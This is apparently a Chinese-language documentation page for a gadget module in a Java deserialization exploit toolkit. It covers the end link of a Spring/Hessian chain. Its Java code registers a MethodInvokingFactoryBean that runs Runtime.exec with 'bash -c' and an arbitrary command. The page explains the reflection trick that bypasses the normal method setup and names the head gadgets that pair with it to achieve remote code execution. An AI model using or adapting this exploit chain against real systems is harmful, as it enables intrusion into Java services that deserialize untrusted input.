- 类别:hessian 别名:— 优先级:—
- 作者:—
- 依赖:
org.springframework:spring-context
Spring 系 Hessian 链的尾部(END)执行体。构造一个 StaticListableBeanFactory,其中注册名为 beanName123 的 MethodInvokingFactoryBean;该 bean 被下游头部 gadget 通过 getBean("beanName123") 拉起时,反射调用 Runtime.getRuntime().exec(new String[]{"bash","-c",cmd}),实现 Linux 命令执行。
- 入口
tags:HessianSpringChains、END—— 承接以nextTags=HessianSpringChains的 Spring 头部 gadget;END表示链尾、无需再接下游。 - 衔接
nextTags:无(链尾)。 excludes:无。
@Param(name="Linux命令")
public String cmd = "touch /tmp/success";
private final String beanName = "beanName123";
public Object getObject() throws Exception {
StaticListableBeanFactory beanFactory = new StaticListableBeanFactory();
beanFactory.addBean("beanName123", this.makeBean()); // 注册名为 beanName123 的恶意 bean
return beanFactory;
}
public Object makeBean() throws Exception {
MethodInvokingFactoryBean bean = new MethodInvokingFactoryBean();
bean.setSingleton(false); // 非单例 => 每次 getBean 都重新 invoke
bean.setTargetObject((Object)Runtime.getRuntime()); // 目标对象 = Runtime 实例
Class<Runtime> cls = Runtime.class;
Method method = cls.getMethod("exec", String[].class);
Reflections.setFieldValue(bean, "methodObject", method); // 直接反射注入待调用方法,绕过 setTargetMethod 的解析
Reflections.setFieldValue(bean, "beanClassLoader", null);
bean.setArguments(new Object[]{new String[]{"bash", "-c", this.cmd}}); // exec(String[]) 参数
return bean;
}MethodInvokingFactoryBean是 Spring 的「调用任意方法并把返回值作为 bean」的工厂;当容器/上游对其调用getObject()(getBean会触发)时,它执行prepare()+invokeWithTargetException(),即targetObject.method(arguments)。- 这里直接反射写入
methodObject(Runtime.exec(String[]))而非用setTargetMethod("exec"),是为了跳过afterPropertiesSet阶段的方法解析——反序列化路径下不会调用afterPropertiesSet,故预先把methodObject塞好,getObject一旦被调即可直接反射执行。 setSingleton(false)保证getBean时走getObject()重新调用而非返回缓存单例。- 采用
exec(String[])+bash -c 'cmd'模板,避免exec(String)的空格分词问题,可执行含管道/重定向的复杂命令(仅限 Linux)。
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.BEAN_NAME_KEY, "beanName123"); // 告诉头部 gadget:去 getBean("beanName123")
return this.getObject();
}invoke 不调用 chain.doCreate(自己是链尾),只把 BEAN_NAME_KEY=beanName123 写入上下文,供上游 SpringAbstractBeanFactoryPointcutAdvisor / SpringPartiallyComparableAdvisorHolder 读取,从而把 getBean 目标对准本 bean。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
Linux命令 | 通过 bash -c 执行的命令字符串 |
touch /tmp/success |
任意 |
- 仅需
spring-context(含MethodInvokingFactoryBean、StaticListableBeanFactory)。 - 执行模板固定为
bash -c 'cmd',只适用于 Linux/类 Unix;Windows 目标应改用 SpringExec(win/linux通用)。 - 需与提供
toString → getBean触发的 Spring 头部 gadget 搭配才能落地。 - 本类是 SpringLoadJar 与 SpringUpload 的基类,二者仅覆写
makeBean()更换目标方法。
自由构件,未直接出现在预设链(可与 SpringAbstractBeanFactoryPointcutAdvisor 组成「Spring 命令执行」型链,对照预设链 Spring 命令执行 中的 SpringExec)。
- 上游(头部):SpringAbstractBeanFactoryPointcutAdvisor、SpringPartiallyComparableAdvisorHolder。
- 同族(同为 END、共享基类/机制):SpringExec、SpringLoadJar、SpringUpload、SpringJndi1。